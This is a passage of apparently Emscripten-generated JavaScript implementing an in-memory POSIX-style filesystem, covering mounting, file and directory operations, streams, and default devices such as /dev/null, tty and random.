  3680.             FS.syncFSRequests--;
  3681.             return callback(err)
  3682.         }
  3683.         function done(err) {
  3684.             if (err) {
  3685.                 if (!done.errored) {
  3686.                     done.errored = true;
  3687.                     return doCallback(err)
  3688.                 }
  3689.                 return
  3690.             }
  3691.             if (++completed >= mounts.length) {
  3692.                 doCallback(null)
  3693.             }
  3694.         }
  3695.         mounts.forEach((function(mount) {
  3696.             if (!mount.type.syncfs) {
  3697.                 return done(null)
  3698.             }
  3699.             mount.type.syncfs(mount, populate, done)
  3700.         }
  3701.         ))
  3702.     }
  3703.     ),
  3704.     mount: (function(type, opts, mountpoint) {
  3705.         var root = mountpoint === "/";
  3706.         var pseudo = !mountpoint;
  3707.         var node;
  3708.         if (root && FS.root) {
  3709.             throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3710.         } else if (!root && !pseudo) {
  3711.             var lookup = FS.lookupPath(mountpoint, {
  3712.                 follow_mount: false
  3713.             });
  3714.             mountpoint = lookup.path;
  3715.             node = lookup.node;
  3716.             if (FS.isMountpoint(node)) {
  3717.                 throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3718.             }
  3719.             if (!FS.isDir(node.mode)) {
  3720.                 throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  3721.             }
  3722.         }
  3723.         var mount = {
  3724.             type: type,
  3725.             opts: opts,
  3726.             mountpoint: mountpoint,
  3727.             mounts: []
  3728.         };
  3729.         var mountRoot = type.mount(mount);
  3730.         mountRoot.mount = mount;
  3731.         mount.root = mountRoot;
  3732.         if (root) {
  3733.             FS.root = mountRoot
  3734.         } else if (node) {
  3735.             node.mounted = mount;
  3736.             if (node.mount) {
  3737.                 node.mount.mounts.push(mount)
  3738.             }
  3739.         }
  3740.         return mountRoot
  3741.     }
  3742.     ),
  3743.     unmount: (function(mountpoint) {
  3744.         var lookup = FS.lookupPath(mountpoint, {
  3745.             follow_mount: false
  3746.         });
  3747.         if (!FS.isMountpoint(lookup.node)) {
  3748.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3749.         }
  3750.         var node = lookup.node;
  3751.         var mount = node.mounted;
  3752.         var mounts = FS.getMounts(mount);
  3753.         Object.keys(FS.nameTable).forEach((function(hash) {
  3754.             var current = FS.nameTable[hash];
  3755.             while (current) {
  3756.                 var next = current.name_next;
  3757.                 if (mounts.indexOf(current.mount) !== -1) {
  3758.                     FS.destroyNode(current)
  3759.                 }
  3760.                 current = next
  3761.             }
  3762.         }
  3763.         ));
  3764.         node.mounted = null;
  3765.         var idx = node.mount.mounts.indexOf(mount);
  3766.         assert(idx !== -1);
  3767.         node.mount.mounts.splice(idx, 1)
  3768.     }
  3769.     ),
  3770.     lookup: (function(parent, name) {
  3771.         return parent.node_ops.lookup(parent, name)
  3772.     }
  3773.     ),
  3774.     mknod: (function(path, mode, dev) {
  3775.         var lookup = FS.lookupPath(path, {
  3776.             parent: true
  3777.         });
  3778.         var parent = lookup.node;
  3779.         var name = PATH.basename(path);
  3780.         if (!name || name === "." || name === "..") {
  3781.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3782.         }
  3783.         var err = FS.mayCreate(parent, name);
  3784.         if (err) {
  3785.             throw new FS.ErrnoError(err)
  3786.         }
  3787.         if (!parent.node_ops.mknod) {
  3788.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3789.         }
  3790.         return parent.node_ops.mknod(parent, name, mode, dev)
  3791.     }
  3792.     ),
  3793.     create: (function(path, mode) {
  3794.         mode = mode !== undefined ? mode : 438;
  3795.         mode &= 4095;
  3796.         mode |= 32768;
  3797.         return FS.mknod(path, mode, 0)
  3798.     }
  3799.     ),
  3800.     mkdir: (function(path, mode) {
  3801.         mode = mode !== undefined ? mode : 511;
  3802.         mode &= 511 | 512;
  3803.         mode |= 16384;
  3804.         return FS.mknod(path, mode, 0)
  3805.     }
  3806.     ),
  3807.     mkdirTree: (function(path, mode) {
  3808.         var dirs = path.split("/");
  3809.         var d = "";
  3810.         for (var i = 0; i < dirs.length; ++i) {
  3811.             if (!dirs[i])
  3812.                 continue;
  3813.             d += "/" + dirs[i];
  3814.             try {
  3815.                 FS.mkdir(d, mode)
  3816.             } catch (e) {
  3817.                 if (e.errno != ERRNO_CODES.EEXIST)
  3818.                     throw e
  3819.             }
  3820.         }
  3821.     }
  3822.     ),
  3823.     mkdev: (function(path, mode, dev) {
  3824.         if (typeof dev === "undefined") {
  3825.             dev = mode;
  3826.             mode = 438
  3827.         }
  3828.         mode |= 8192;
  3829.         return FS.mknod(path, mode, dev)
  3830.     }
  3831.     ),
  3832.     symlink: (function(oldpath, newpath) {
  3833.         if (!PATH.resolve(oldpath)) {
  3834.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3835.         }
  3836.         var lookup = FS.lookupPath(newpath, {
  3837.             parent: true
  3838.         });
  3839.         var parent = lookup.node;
  3840.         if (!parent) {
  3841.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3842.         }
  3843.         var newname = PATH.basename(newpath);
  3844.         var err = FS.mayCreate(parent, newname);
  3845.         if (err) {
  3846.             throw new FS.ErrnoError(err)
  3847.         }
  3848.         if (!parent.node_ops.symlink) {
  3849.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3850.         }
  3851.         return parent.node_ops.symlink(parent, newname, oldpath)
  3852.     }
  3853.     ),
  3854.     rename: (function(old_path, new_path) {
  3855.         var old_dirname = PATH.dirname(old_path);
  3856.         var new_dirname = PATH.dirname(new_path);
  3857.         var old_name = PATH.basename(old_path);
  3858.         var new_name = PATH.basename(new_path);
  3859.         var lookup, old_dir, new_dir;
  3860.         try {
  3861.             lookup = FS.lookupPath(old_path, {
  3862.                 parent: true
  3863.             });
  3864.             old_dir = lookup.node;
  3865.             lookup = FS.lookupPath(new_path, {
  3866.                 parent: true
  3867.             });
  3868.             new_dir = lookup.node
  3869.         } catch (e) {
  3870.             throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3871.         }
  3872.         if (!old_dir || !new_dir)
  3873.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT);
  3874.         if (old_dir.mount !== new_dir.mount) {
  3875.             throw new FS.ErrnoError(ERRNO_CODES.EXDEV)
  3876.         }
  3877.         var old_node = FS.lookupNode(old_dir, old_name);
  3878.         var relative = PATH.relative(old_path, new_dirname);
  3879.         if (relative.charAt(0) !== ".") {
  3880.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3881.         }
  3882.         relative = PATH.relative(new_path, old_dirname);
  3883.         if (relative.charAt(0) !== ".") {
  3884.             throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
  3885.         }
  3886.         var new_node;
  3887.         try {
  3888.             new_node = FS.lookupNode(new_dir, new_name)
  3889.         } catch (e) {}
  3890.         if (old_node === new_node) {
  3891.             return
  3892.         }
  3893.         var isdir = FS.isDir(old_node.mode);
  3894.         var err = FS.mayDelete(old_dir, old_name, isdir);
  3895.         if (err) {
  3896.             throw new FS.ErrnoError(err)
  3897.         }
  3898.         err = new_node ? FS.mayDelete(new_dir, new_name, isdir) : FS.mayCreate(new_dir, new_name);
  3899.         if (err) {
  3900.             throw new FS.ErrnoError(err)
  3901.         }
  3902.         if (!old_dir.node_ops.rename) {
  3903.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3904.         }
  3905.         if (FS.isMountpoint(old_node) || new_node && FS.isMountpoint(new_node)) {
  3906.             throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3907.         }
  3908.         if (new_dir !== old_dir) {
  3909.             err = FS.nodePermissions(old_dir, "w");
  3910.             if (err) {
  3911.                 throw new FS.ErrnoError(err)
  3912.             }
  3913.         }
  3914.         try {
  3915.             if (FS.trackingDelegate["willMovePath"]) {
  3916.                 FS.trackingDelegate["willMovePath"](old_path, new_path)
  3917.             }
  3918.         } catch (e) {
  3919.             console.log("FS.trackingDelegate['willMovePath']('" + old_path + "', '" + new_path + "') threw an exception: " + e.message)
  3920.         }
  3921.         FS.hashRemoveNode(old_node);
  3922.         try {
  3923.             old_dir.node_ops.rename(old_node, new_dir, new_name)
  3924.         } catch (e) {
  3925.             throw e
  3926.         } finally {
  3927.             FS.hashAddNode(old_node)
  3928.         }
  3929.         try {
  3930.             if (FS.trackingDelegate["onMovePath"])
  3931.                 FS.trackingDelegate["onMovePath"](old_path, new_path)
  3932.         } catch (e) {
  3933.             console.log("FS.trackingDelegate['onMovePath']('" + old_path + "', '" + new_path + "') threw an exception: " + e.message)
  3934.         }
  3935.     }
  3936.     ),
  3937.     rmdir: (function(path) {
  3938.         var lookup = FS.lookupPath(path, {
  3939.             parent: true
  3940.         });
  3941.         var parent = lookup.node;
  3942.         var name = PATH.basename(path);
  3943.         var node = FS.lookupNode(parent, name);
  3944.         var err = FS.mayDelete(parent, name, true);
  3945.         if (err) {
  3946.             throw new FS.ErrnoError(err)
  3947.         }
  3948.         if (!parent.node_ops.rmdir) {
  3949.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3950.         }
  3951.         if (FS.isMountpoint(node)) {
  3952.             throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3953.         }
  3954.         try {
  3955.             if (FS.trackingDelegate["willDeletePath"]) {
  3956.                 FS.trackingDelegate["willDeletePath"](path)
  3957.             }
  3958.         } catch (e) {
  3959.             console.log("FS.trackingDelegate['willDeletePath']('" + path + "') threw an exception: " + e.message)
  3960.         }
  3961.         parent.node_ops.rmdir(parent, name);
  3962.         FS.destroyNode(node);
  3963.         try {
  3964.             if (FS.trackingDelegate["onDeletePath"])
  3965.                 FS.trackingDelegate["onDeletePath"](path)
  3966.         } catch (e) {
  3967.             console.log("FS.trackingDelegate['onDeletePath']('" + path + "') threw an exception: " + e.message)
  3968.         }
  3969.     }
  3970.     ),
  3971.     readdir: (function(path) {
  3972.         var lookup = FS.lookupPath(path, {
  3973.             follow: true
  3974.         });
  3975.         var node = lookup.node;
  3976.         if (!node.node_ops.readdir) {
  3977.             throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  3978.         }
  3979.         return node.node_ops.readdir(node)
  3980.     }
  3981.     ),
  3982.     unlink: (function(path) {
  3983.         var lookup = FS.lookupPath(path, {
  3984.             parent: true
  3985.         });
  3986.         var parent = lookup.node;
  3987.         var name = PATH.basename(path);
  3988.         var node = FS.lookupNode(parent, name);
  3989.         var err = FS.mayDelete(parent, name, false);
  3990.         if (err) {
  3991.             throw new FS.ErrnoError(err)
  3992.         }
  3993.         if (!parent.node_ops.unlink) {
  3994.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3995.         }
  3996.         if (FS.isMountpoint(node)) {
  3997.             throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3998.         }
  3999.         try {
  4000.             if (FS.trackingDelegate["willDeletePath"]) {
  4001.                 FS.trackingDelegate["willDeletePath"](path)
  4002.             }
  4003.         } catch (e) {
  4004.             console.log("FS.trackingDelegate['willDeletePath']('" + path + "') threw an exception: " + e.message)
  4005.         }
  4006.         parent.node_ops.unlink(parent, name);
  4007.         FS.destroyNode(node);
  4008.         try {
  4009.             if (FS.trackingDelegate["onDeletePath"])
  4010.                 FS.trackingDelegate["onDeletePath"](path)
  4011.         } catch (e) {
  4012.             console.log("FS.trackingDelegate['onDeletePath']('" + path + "') threw an exception: " + e.message)
  4013.         }
  4014.     }
  4015.     ),
  4016.     readlink: (function(path) {
  4017.         var lookup = FS.lookupPath(path);
  4018.         var link = lookup.node;
  4019.         if (!link) {
  4020.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  4021.         }
  4022.         if (!link.node_ops.readlink) {
  4023.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4024.         }
  4025.         return PATH.resolve(FS.getPath(link.parent), link.node_ops.readlink(link))
  4026.     }
  4027.     ),
  4028.     stat: (function(path, dontFollow) {
  4029.         var lookup = FS.lookupPath(path, {
  4030.             follow: !dontFollow
  4031.         });
  4032.         var node = lookup.node;
  4033.         if (!node) {
  4034.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  4035.         }
  4036.         if (!node.node_ops.getattr) {
  4037.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  4038.         }
  4039.         return node.node_ops.getattr(node)
  4040.     }
  4041.     ),
  4042.     lstat: (function(path) {
  4043.         return FS.stat(path, true)
  4044.     }
  4045.     ),
  4046.     chmod: (function(path, mode, dontFollow) {
  4047.         var node;
  4048.         if (typeof path === "string") {
  4049.             var lookup = FS.lookupPath(path, {
  4050.                 follow: !dontFollow
  4051.             });
  4052.             node = lookup.node
  4053.         } else {
  4054.             node = path
  4055.         }
  4056.         if (!node.node_ops.setattr) {
  4057.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  4058.         }
  4059.         node.node_ops.setattr(node, {
  4060.             mode: mode & 4095 | node.mode & ~4095,
  4061.             timestamp: Date.now()
  4062.         })
  4063.     }
  4064.     ),
  4065.     lchmod: (function(path, mode) {
  4066.         FS.chmod(path, mode, true)
  4067.     }
  4068.     ),
  4069.     fchmod: (function(fd, mode) {
  4070.         var stream = FS.getStream(fd);
  4071.         if (!stream) {
  4072.             throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4073.         }
  4074.         FS.chmod(stream.node, mode)
  4075.     }
  4076.     ),
  4077.     chown: (function(path, uid, gid, dontFollow) {
  4078.         var node;
  4079.         if (typeof path === "string") {
  4080.             var lookup = FS.lookupPath(path, {
  4081.                 follow: !dontFollow
  4082.             });
  4083.             node = lookup.node
  4084.         } else {
  4085.             node = path
  4086.         }
  4087.         if (!node.node_ops.setattr) {
  4088.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  4089.         }
  4090.         node.node_ops.setattr(node, {
  4091.             timestamp: Date.now()
  4092.         })
  4093.     }
  4094.     ),
  4095.     lchown: (function(path, uid, gid) {
  4096.         FS.chown(path, uid, gid, true)
  4097.     }
  4098.     ),
  4099.     fchown: (function(fd, uid, gid) {
  4100.         var stream = FS.getStream(fd);
  4101.         if (!stream) {
  4102.             throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4103.         }
  4104.         FS.chown(stream.node, uid, gid)
  4105.     }
  4106.     ),
  4107.     truncate: (function(path, len) {
  4108.         if (len < 0) {
  4109.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4110.         }
  4111.         var node;
  4112.         if (typeof path === "string") {
  4113.             var lookup = FS.lookupPath(path, {
  4114.                 follow: true
  4115.             });
  4116.             node = lookup.node
  4117.         } else {
  4118.             node = path
  4119.         }
  4120.         if (!node.node_ops.setattr) {
  4121.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  4122.         }
  4123.         if (FS.isDir(node.mode)) {
  4124.             throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
  4125.         }
  4126.         if (!FS.isFile(node.mode)) {
  4127.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4128.         }
  4129.         var err = FS.nodePermissions(node, "w");
  4130.         if (err) {
  4131.             throw new FS.ErrnoError(err)
  4132.         }
  4133.         node.node_ops.setattr(node, {
  4134.             size: len,
  4135.             timestamp: Date.now()
  4136.         })
  4137.     }
  4138.     ),
  4139.     ftruncate: (function(fd, len) {
  4140.         var stream = FS.getStream(fd);
  4141.         if (!stream) {
  4142.             throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4143.         }
  4144.         if ((stream.flags & 2097155) === 0) {
  4145.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4146.         }
  4147.         FS.truncate(stream.node, len)
  4148.     }
  4149.     ),
  4150.     utime: (function(path, atime, mtime) {
  4151.         var lookup = FS.lookupPath(path, {
  4152.             follow: true
  4153.         });
  4154.         var node = lookup.node;
  4155.         node.node_ops.setattr(node, {
  4156.             timestamp: Math.max(atime, mtime)
  4157.         })
  4158.     }
  4159.     ),
  4160.     open: (function(path, flags, mode, fd_start, fd_end) {
  4161.         if (path === "") {
  4162.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  4163.         }
  4164.         flags = typeof flags === "string" ? FS.modeStringToFlags(flags) : flags;
  4165.         mode = typeof mode === "undefined" ? 438 : mode;
  4166.         if (flags & 64) {
  4167.             mode = mode & 4095 | 32768
  4168.         } else {
  4169.             mode = 0
  4170.         }
  4171.         var node;
  4172.         if (typeof path === "object") {
  4173.             node = path
  4174.         } else {
  4175.             path = PATH.normalize(path);
  4176.             try {
  4177.                 var lookup = FS.lookupPath(path, {
  4178.                     follow: !(flags & 131072)
  4179.                 });
  4180.                 node = lookup.node
  4181.             } catch (e) {}
  4182.         }
  4183.         var created = false;
  4184.         if (flags & 64) {
  4185.             if (node) {
  4186.                 if (flags & 128) {
  4187.                     throw new FS.ErrnoError(ERRNO_CODES.EEXIST)
  4188.                 }
  4189.             } else {
  4190.                 node = FS.mknod(path, mode, 0);
  4191.                 created = true
  4192.             }
  4193.         }
  4194.         if (!node) {
  4195.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  4196.         }
  4197.         if (FS.isChrdev(node.mode)) {
  4198.             flags &= ~512
  4199.         }
  4200.         if (flags & 65536 && !FS.isDir(node.mode)) {
  4201.             throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  4202.         }
  4203.         if (!created) {
  4204.             var err = FS.mayOpen(node, flags);
  4205.             if (err) {
  4206.                 throw new FS.ErrnoError(err)
  4207.             }
  4208.         }
  4209.         if (flags & 512) {
  4210.             FS.truncate(node, 0)
  4211.         }
  4212.         flags &= ~(128 | 512);
  4213.         var stream = FS.createStream({
  4214.             node: node,
  4215.             path: FS.getPath(node),
  4216.             flags: flags,
  4217.             seekable: true,
  4218.             position: 0,
  4219.             stream_ops: node.stream_ops,
  4220.             ungotten: [],
  4221.             error: false
  4222.         }, fd_start, fd_end);
  4223.         if (stream.stream_ops.open) {
  4224.             stream.stream_ops.open(stream)
  4225.         }
  4226.         if (Module["logReadFiles"] && !(flags & 1)) {
  4227.             if (!FS.readFiles)
  4228.                 FS.readFiles = {};
  4229.             if (!(path in FS.readFiles)) {
  4230.                 FS.readFiles[path] = 1;
  4231.                 Module["printErr"]("read file: " + path)
  4232.             }
  4233.         }
  4234.         try {
  4235.             if (FS.trackingDelegate["onOpenFile"]) {
  4236.                 var trackingFlags = 0;
  4237.                 if ((flags & 2097155) !== 1) {
  4238.                     trackingFlags |= FS.tracking.openFlags.READ
  4239.                 }
  4240.                 if ((flags & 2097155) !== 0) {
  4241.                     trackingFlags |= FS.tracking.openFlags.WRITE
  4242.                 }
  4243.                 FS.trackingDelegate["onOpenFile"](path, trackingFlags)
  4244.             }
  4245.         } catch (e) {
  4246.             console.log("FS.trackingDelegate['onOpenFile']('" + path + "', flags) threw an exception: " + e.message)
  4247.         }
  4248.         return stream
  4249.     }
  4250.     ),
  4251.     close: (function(stream) {
  4252.         if (stream.getdents)
  4253.             stream.getdents = null;
  4254.         try {
  4255.             if (stream.stream_ops.close) {
  4256.                 stream.stream_ops.close(stream)
  4257.             }
  4258.         } catch (e) {
  4259.             throw e
  4260.         } finally {
  4261.             FS.closeStream(stream.fd)
  4262.         }
  4263.     }
  4264.     ),
  4265.     llseek: (function(stream, offset, whence) {
  4266.         if (!stream.seekable || !stream.stream_ops.llseek) {
  4267.             throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  4268.         }
  4269.         stream.position = stream.stream_ops.llseek(stream, offset, whence);
  4270.         stream.ungotten = [];
  4271.         return stream.position
  4272.     }
  4273.     ),
  4274.     read: (function(stream, buffer, offset, length, position) {
  4275.         if (length < 0 || position < 0) {
  4276.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4277.         }
  4278.         if ((stream.flags & 2097155) === 1) {
  4279.             throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4280.         }
  4281.         if (FS.isDir(stream.node.mode)) {
  4282.             throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
  4283.         }
  4284.         if (!stream.stream_ops.read) {
  4285.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4286.         }
  4287.         var seeking = true;
  4288.         if (typeof position === "undefined") {
  4289.             position = stream.position;
  4290.             seeking = false
  4291.         } else if (!stream.seekable) {
  4292.             throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  4293.         }
  4294.         var bytesRead = stream.stream_ops.read(stream, buffer, offset, length, position);
  4295.         if (!seeking)
  4296.             stream.position += bytesRead;
  4297.         return bytesRead
  4298.     }
  4299.     ),
  4300.     write: (function(stream, buffer, offset, length, position, canOwn) {
  4301.         if (length < 0 || position < 0) {
  4302.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4303.         }
  4304.         if ((stream.flags & 2097155) === 0) {
  4305.             throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4306.         }
  4307.         if (FS.isDir(stream.node.mode)) {
  4308.             throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
  4309.         }
  4310.         if (!stream.stream_ops.write) {
  4311.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4312.         }
  4313.         if (stream.flags & 1024) {
  4314.             FS.llseek(stream, 0, 2)
  4315.         }
  4316.         var seeking = true;
  4317.         if (typeof position === "undefined") {
  4318.             position = stream.position;
  4319.             seeking = false
  4320.         } else if (!stream.seekable) {
  4321.             throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  4322.         }
  4323.         var bytesWritten = stream.stream_ops.write(stream, buffer, offset, length, position, canOwn);
  4324.         if (!seeking)
  4325.             stream.position += bytesWritten;
  4326.         try {
  4327.             if (stream.path && FS.trackingDelegate["onWriteToFile"])
  4328.                 FS.trackingDelegate["onWriteToFile"](stream.path)
  4329.         } catch (e) {
  4330.             console.log("FS.trackingDelegate['onWriteToFile']('" + path + "') threw an exception: " + e.message)
  4331.         }
  4332.         return bytesWritten
  4333.     }
  4334.     ),
  4335.     allocate: (function(stream, offset, length) {
  4336.         if (offset < 0 || length <= 0) {
  4337.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4338.         }
  4339.         if ((stream.flags & 2097155) === 0) {
  4340.             throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4341.         }
  4342.         if (!FS.isFile(stream.node.mode) && !FS.isDir(stream.node.mode)) {
  4343.             throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  4344.         }
  4345.         if (!stream.stream_ops.allocate) {
  4346.             throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP)
  4347.         }
  4348.         stream.stream_ops.allocate(stream, offset, length)
  4349.     }
  4350.     ),
  4351.     mmap: (function(stream, buffer, offset, length, position, prot, flags) {
  4352.         if ((stream.flags & 2097155) === 1) {
  4353.             throw new FS.ErrnoError(ERRNO_CODES.EACCES)
  4354.         }
  4355.         if (!stream.stream_ops.mmap) {
  4356.             throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  4357.         }
  4358.         return stream.stream_ops.mmap(stream, buffer, offset, length, position, prot, flags)
  4359.     }
  4360.     ),
  4361.     msync: (function(stream, buffer, offset, length, mmapFlags) {
  4362.         if (!stream || !stream.stream_ops.msync) {
  4363.             return 0
  4364.         }
  4365.         return stream.stream_ops.msync(stream, buffer, offset, length, mmapFlags)
  4366.     }
  4367.     ),
  4368.     munmap: (function(stream) {
  4369.         return 0
  4370.     }
  4371.     ),
  4372.     ioctl: (function(stream, cmd, arg) {
  4373.         if (!stream.stream_ops.ioctl) {
  4374.             throw new FS.ErrnoError(ERRNO_CODES.ENOTTY)
  4375.         }
  4376.         return stream.stream_ops.ioctl(stream, cmd, arg)
  4377.     }
  4378.     ),
  4379.     readFile: (function(path, opts) {
  4380.         opts = opts || {};
  4381.         opts.flags = opts.flags || "r";
  4382.         opts.encoding = opts.encoding || "binary";
  4383.         if (opts.encoding !== "utf8" && opts.encoding !== "binary") {
  4384.             throw new Error('Invalid encoding type "' + opts.encoding + '"')
  4385.         }
  4386.         var ret;
  4387.         var stream = FS.open(path, opts.flags);
  4388.         var stat = FS.stat(path);
  4389.         var length = stat.size;
  4390.         var buf = new Uint8Array(length);
  4391.         FS.read(stream, buf, 0, length, 0);
  4392.         if (opts.encoding === "utf8") {
  4393.             ret = UTF8ArrayToString(buf, 0)
  4394.         } else if (opts.encoding === "binary") {
  4395.             ret = buf
  4396.         }
  4397.         FS.close(stream);
  4398.         return ret
  4399.     }
  4400.     ),
  4401.     writeFile: (function(path, data, opts) {
  4402.         opts = opts || {};
  4403.         opts.flags = opts.flags || "w";
  4404.         opts.encoding = opts.encoding || "utf8";
  4405.         if (opts.encoding !== "utf8" && opts.encoding !== "binary") {
  4406.             throw new Error('Invalid encoding type "' + opts.encoding + '"')
  4407.         }
  4408.         var stream = FS.open(path, opts.flags, opts.mode);
  4409.         if (opts.encoding === "utf8") {
  4410.             var buf = new Uint8Array(lengthBytesUTF8(data) + 1);
  4411.             var actualNumBytes = stringToUTF8Array(data, buf, 0, buf.length);
  4412.             FS.write(stream, buf, 0, actualNumBytes, 0, opts.canOwn)
  4413.         } else if (opts.encoding === "binary") {
  4414.             FS.write(stream, data, 0, data.length, 0, opts.canOwn)
  4415.         }
  4416.         FS.close(stream)
  4417.     }
  4418.     ),
  4419.     cwd: (function() {
  4420.         return FS.currentPath
  4421.     }
  4422.     ),
  4423.     chdir: (function(path) {
  4424.         var lookup = FS.lookupPath(path, {
  4425.             follow: true
  4426.         });
  4427.         if (lookup.node === null) {
  4428.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  4429.         }
  4430.         if (!FS.isDir(lookup.node.mode)) {
  4431.             throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  4432.         }
  4433.         var err = FS.nodePermissions(lookup.node, "x");
  4434.         if (err) {
  4435.             throw new FS.ErrnoError(err)
  4436.         }
  4437.         FS.currentPath = lookup.path
  4438.     }
  4439.     ),
  4440.     createDefaultDirectories: (function() {
  4441.         FS.mkdir("/tmp");
  4442.         FS.mkdir("/home");
  4443.         FS.mkdir("/home/web_user")
  4444.     }
  4445.     ),
  4446.     createDefaultDevices: (function() {
  4447.         FS.mkdir("/dev");
  4448.         FS.registerDevice(FS.makedev(1, 3), {
  4449.             read: (function() {
  4450.                 return 0
  4451.             }
  4452.             ),
  4453.             write: (function(stream, buffer, offset, length, pos) {
  4454.                 return length
  4455.             }
  4456.             )
  4457.         });
  4458.         FS.mkdev("/dev/null", FS.makedev(1, 3));
  4459.         TTY.register(FS.makedev(5, 0), TTY.default_tty_ops);
  4460.         TTY.register(FS.makedev(6, 0), TTY.default_tty1_ops);
  4461.         FS.mkdev("/dev/tty", FS.makedev(5, 0));
  4462.         FS.mkdev("/dev/tty1", FS.makedev(6, 0));
  4463.         var random_device;
  4464.         if (typeof crypto !== "undefined") {
  4465.             var randomBuffer = new Uint8Array(1);
  4466.             random_device = (function() {
  4467.                 crypto.getRandomValues(randomBuffer);
  4468.                 return randomBuffer[0]
  4469.             }
  4470.             )
  4471.         } else if (ENVIRONMENT_IS_NODE) {
  4472.             random_device = (function() {
  4473.                 return require("crypto").randomBytes(1)[0]
  4474.             }
  4475.             )
  4476.         } else {
  4477.             random_device = (function() {
  4478.                 return Math.random() * 256 | 0
  4479.             }
  4480.             )
  4481.         }
  4482.         FS.createDevice("/dev", "random", random_device);
  4483.         FS.createDevice("/dev", "urandom", random_device);
  4484.         FS.mkdir("/dev/shm");
  4485.         FS.mkdir("/dev/shm/tmp")
  4486.     }
  4487.     ),
  4488.     createSpecialDirectories: (function() {
  4489.         FS.mkdir("/proc");
  4490.         FS.mkdir("/proc/self");
  4491.         FS.mkdir("/proc/self/fd");
  4492.         FS.mount({
  4493.             mount: (function() {
  4494.                 var node = FS.createNode("/proc/self", "fd", 16384 | 511, 73);
  4495.                 node.node_ops = {
  4496.                     lookup: (function(parent, name) {
  4497.                         var fd = +name;
  4498.                         var stream = FS.getStream(fd);
  4499.                         if (!stream)
  4500.                             throw new FS.ErrnoError(ERRNO_CODES.EBADF);
  4501.                         var ret = {
  4502.                             parent: null,
  4503.                             mount: {
  4504.                                 mountpoint: "fake"
  4505.                             },
  4506.                             node_ops: {
  4507.                                 readlink: (function() {
  4508.                                     return stream.path
  4509.                                 }
  4510.                                 )
  4511.                             }
  4512.                         };
  4513.                         ret.parent = ret;
  4514.                         return ret
  4515.                     }
  4516.                     )
  4517.                 };
  4518.                 return node
  4519.             }
  4520.             )
  4521.         }, {}, "/proc/self/fd")
  4522.     }
  4523.     ),
  4524.     createStandardStreams: (function() {
  4525.         if (Module["stdin"]) {
  4526.             FS.createDevice("/dev", "stdin", Module["stdin"])
  4527.         } else {
  4528.             FS.symlink("/dev/tty", "/dev/stdin")
  4529.         }
  4530.         if (Module["stdout"]) {
  4531.             FS.createDevice("/dev", "stdout", null, Module["stdout"])
  4532.         } else {
  4533.             FS.symlink("/dev/tty", "/dev/stdout")
  4534.         }
  4535.         if (Module["stderr"]) {
  4536.             FS.createDevice("/dev", "stderr", null, Module["stderr"])
  4537.         } else {
  4538.             FS.symlink("/dev/tty1", "/dev/stderr")
  4539.         }
  4540.         var stdin = FS.open("/dev/stdin", "r");
  4541.         assert(stdin.fd === 0, "invalid handle for stdin (" + stdin.fd + ")");
  4542.         var stdout = FS.open("/dev/stdout", "w");
  4543.         assert(stdout.fd === 1, "invalid handle for stdout (" + stdout.fd + ")");
  4544.         var stderr = FS.open("/dev/stderr", "w");
  4545.         assert(stderr.fd === 2, "invalid handle for stderr (" + stderr.fd + ")")
  4546.     }
  4547.     ),
  4548.     ensureErrnoError: (function() {
  4549.         if (FS.ErrnoError)
  4550.             return;
  4551.         FS.ErrnoError = function ErrnoError(errno, node) {
  4552.             this.node = node;
  4553.             this.setErrno = (function(errno) {
